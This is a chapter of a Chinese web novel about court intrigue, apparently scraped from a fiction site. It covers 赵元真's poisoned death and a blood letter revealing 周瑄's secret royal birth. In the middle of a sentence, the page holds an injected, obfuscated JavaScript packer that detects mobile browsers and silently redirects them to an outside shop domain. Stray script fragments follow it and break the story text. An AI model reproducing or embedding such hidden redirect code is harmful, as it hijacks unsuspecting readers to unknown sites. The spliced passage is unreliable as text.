文趣网 > 都市小说 > 侯门金枝 > 148. 第 148 章
    “湫儿。”高夫人跨进院门,身上的战甲还未卸去,声音便远远传了过来:“姚蟾伏诛,那位穆公子已经带着人找到了姚家庄暗道,你——”

    杨湫闻言,立刻准备起身离开:“等我一会,我去将残余势力打扫干净。”

    “我跟你一起去——”赵瑾话说了一半,挣扎要起身:“我还有事情想问他。”

    杨湫连忙伸手搀着他,一手按在他腕上:“不行,你现在不宜活动。”

    “有件事情我一定要弄明白的。”赵瑾深吸一口气,声音仍然沙哑:“静梧,那天赵元真说惠春园的事情并不是空穴来风,他手里还有我们不知道的证据。”

    这一句话说完,赵瑾略松一口气,险些站不稳。

    “我明白你的心情。”杨湫阖上眼,轻叹一声,“可以去,但是我有条件。”

    赵瑾点点头,杨湫扶着他走出暗室,时隔数日,高夫人乍一见,却是一时间不敢相认。

    “舅母。”赵瑾轻轻唤了一声,高夫人才反应过来,泪水夺眶而出:“你,你怎么——”

    “我替你施针封住要穴,你答应我,不要动气。”

    姚家庄后山密道里。

    姚蟾的家眷正在通过密道转移,赵元真独自坐在轮椅上,低垂着眉目,不知道在想什么。

    “公子,该撤了,不然他们要追上来了。”管家小声提醒道。

    “你护送他们走吧,钟伯。”赵元真说话的口气一如既往冷淡:“按照叔父的布下的后路,改名换姓,耕读传家,别再想着报仇了。”

    钟伯顿时愣在原地,不可置信地看着赵元真:“公子,你说什么呢?”

    恰在此时,姚蟾的夫人见他迟迟未动,忍不住问道:“是怎么了,莘儿,为何还不动?”

    赵元真顿时无声地笑了起来,心里说不清是什么滋味。

    “钟伯。”他最后喊了一次,却是再明显不过得命令:“护送婶婶她们离开。”

    钟伯只能咬着牙应下,转身封住密道,带着姚家的家眷离开了。

    到头来还是有人在意的嘛,赵元真自嘲的笑笑,伸手拨动机关总闸。

    至少还不能这么快认输。

    “总坛的入口就在这里,里面机关重重,可别怪我没提醒你们。”穆心杨站在入口处,手持火把,对着身后一干人等说道。

    杨湫颔首,眼神坚定地望着前方:“我明白。”

    士兵们拿起盾牌组成一道围墙,随着机关启动,第一波箭雨当头而下。

    “快!这边!”

    总坛里最后的杀手和朝廷大军厮杀在一处,机括运行的声音混合着兵戈交击的脆响,将这座总坛化为另一个修罗场。

    仅剩的杀手被包围在一处小角落,彼此对视一眼,纷纷掏出毒药,自尽殉主。

    一场战斗结束的如此迅速,赵元真坐在机关总闸的控制室,安静地等待着该出现的人。

    如他所料,两道脚步声同时踏入了这里,他背对着门口,却准确的叫出了名讳:“康王殿下,别来无恙啊。”

    “托姚公子的福。”杨湫冷冷地应答道。

    赵元真自嘲地笑了起来:“杨司药?果然,你没有那么容易死。”

    他用手操纵着轮椅,转过身看着面前二人。

    “你那天跟我说,你有证据。”赵瑾死死地盯着他,每一句都耗费了他极大的精力:“你告诉我,真相到底是什么?”

    “你知道了也没用,逝者已矣,你还能把他从坟墓里挖出来么?”赵元真十分遗憾地摊开手,说道:“周瑄死了,这件事不会再有答案了。”

    杨湫微微一怔,一瞬间怀疑起赵元真话里的真实性:“这又是你声东击西的谎言吗?”

    “人之将死其言也善,杨司药何必怀疑我?”赵元真淡淡地说道。

    “所以到底是什么,那封血书里面到底写了什么?”赵瑾深吸一口气,质问道。

    赵元真长叹一声,不知道是在惋惜,还是另有别的情绪:“何必呢?周瑄既然选了跟我合作,代表他真的不是一无所知,只是他不愿意告诉你而已。”

    “别信他。”杨湫忽然出声打断:“此人诡计多端,他的话不可信。”

    “杨司药,我知道你的担心。可是你的姐姐也参与了此事,她为什么也不愿意告知你呢?”

    赵元真毫不犹豫地道:“是担心你卷进来?那你追查惠春园,她为何不阻拦?”

    “我不会听你挑拨离间的。”杨湫冷漠地回答道。

    “血书就在姚家庄内,王家人也在这里,真相如何,就劳烦你自己探寻咯。”

    赵元真说完最后一句话,顿觉紧绷的心弦松了下来。

    “二位,永别了。希望有朝一日,二位不会后悔今日执着的要解开真相的举动。”

    剧毒再身体各处流窜,赵元真勉强挤出最后一个笑,顿时七窍流血。

    “我们走吧。”杨湫兀自叹息一声,扶着赵瑾一起离开了后山。

    大抵是最后的良心发现,赵元真这次真的没撒谎,他卧房的暗格里,当真藏着一封血书。

    “写了什么?”杨湫拿着血书,匆匆扫了一眼,顿时汗毛倒竖起来。

    谢芷君的奶娘在她临终之时,将一切都写在这封血书里,让自己的后人转交给那个被自己送走的孩子手里。

    “上信父子相克之言,欲将此子溺毙,幸小姐与曹大监不忍,遂瞒天过海,由余送往同乡处代为抚养,暂寄蕉叶巷周家,以此玉佩为凭。”

    “盼来日母子亦有重会之机,余平生憾事可解。”

    赵瑾的目光落在绢帛绘制的图案上,神色瞬间凝固,半晌呢喃道:“这东西,我见过。”

    “在皇后娘娘那里?”杨湫的声音有些颤抖,她极力忽略另一个可能性,强调道:“是在姨母那里的,对吧。”

    杨湫只觉得一股绝望在心头蔓延,只得自欺欺人,这东西被周瑄戴在身上,他怎么可能不知道。

    “所以说,他并不是什么叛逆之后,他只是,在骗我们?”赵瑾忽然问道。

    杨湫也沉默下来,她在杨鸢口中听过一模一样的说辞,此时也不知该做何解释。

    “他骗了我们所有人,”赵瑾喃喃自语:“我来到江南的时候,他一直在给我通风报信,他到底是为什么呢?”

    杨湫亦不知该作何安慰,只能轻轻拍了拍赵瑾的肩膀。

    “赵元真说五年前,太子和二姐已经很接近真相了。”赵瑾刺客不禁怀疑起来:“他们究竟知不知道?”

    杨湫摇摇头,面上看上去一片茫然:“我不知道。”

    三个人用了一模一样的说辞,看上去毫无破绽,却又不得不令人深思。

    “他就这么恨我们?”赵瑾只觉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524928|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得心里五味杂陈,血书被他紧紧攥在手中,眼神里尽是难以置信:“这么恨我,又何必跟我结识,何必帮我?”

    杨湫长叹一声,连安慰的话都说不出口来。

    “你听我说,还未到绝处,我们可以去找已经告老还乡的周老先生,他一定知道的。”

    杨湫试图否定这一切,冥冥之中抓住了一条线,灵光一现,急切地道:“对不对,赵瑾。你说是不是?”

    赵瑾犹如抓住了最后一根救命稻草,猛地抬起眼睛来:“对。还有转机,我一定会弄清楚的。”

    “还有王家人,你听赵元真说了吗,王家人也在他们手里。”杨湫努力挤出一个微笑,柔声说道:“我们去听听,他们是怎么说的?”

    赵瑾点点头,杨湫立刻朝外使了个眼色,将王奶娘的侄儿和侄媳妇带了上来。

    “这东西?是我姑妈留下的,家中长辈去世的早,姑妈出宫之后我们一家就在余杭生活。”

    “她快去的时候,把这个和一块玉佩留给我们,我们想上京城打听,却又不认识字,不想却被人骗走,我和我媳妇也被卖到这里做下人了。”

    “你说的玉佩和血书,确定是这一块?”杨湫追问道。

    侄子点点头,用十分坚定地口吻道:“就是这一块!没错的!”说完,他们夫妻就被人带了下去。

    “你还好吗?”杨湫担忧地瞧着赵瑾,伸手握住他冰凉的手:“此事如果是真的——”

    什么叛逆之后,周瑄曾经说过的话都要被彻底推翻,甚至于当年死去的,和他公用公用身份的周瑄,都值得怀疑。

    他们究竟出于什么目的接近太子,又为何要与赵瑾成为朋友,一切都教人不得而知。

    “没有意义了,静梧。”赵瑾低声说道:“闻璟已经死了,我查下去也是——”

    赵瑾突兀地笑了一声,道:“什么实话都不愿意告诉我,我那样真心诚意的问他,他还是用假话搪塞我。”

    “兴许他只是——”杨湫眉心微蹙,千言万语堵在心口,都付与一声叹息。

    “我想他或许确实是有不得已理由,我只是想不通,”赵瑾一字一顿地道,眼圈已经泛红:“看我一次一次和真相失之交臂,他就那样高兴吗?”

    “母后分明还念着他的,我在母后那里见过她亲手画的园子,要给我们兄弟二人的。”

    赵瑾深吸一口气,眼泪毫无征兆落了下来:“为什么真相是这样?为什么父皇真的信了?为什么闻璟不跟我说实话?”

    “为什么都要骗我一个?”

    杨湫听着他一声一声质问,同样觉得心如刀绞。

    她也曾十分不解,为什么侯爷能够忍心杀了自己多年的发妻,为什么事发后心安理得的过了这么多年。

    “不会再有答案了,静梧,以后我再也不查了。”赵瑾哽咽着道。

    杨湫险些落下泪来,连忙抬起头望着梁柱,缓缓地道:“好,你说不查了,我们就不查了。”

    赵瑾点点头,再一次展开那张绢帛,似乎要将上面的每一个字都刻在心里。

    他的视线逐渐模糊起来,鲜血和泪水一起滴落在绢帛上,杨湫一惊,连忙上前:“赵瑾!”

    赵瑾不答,只是借一旁的烛火点燃了绢帛,看着它化为灰烬。

    “就当没有这件东西,让母后以为那个孩子还活在世上吧。”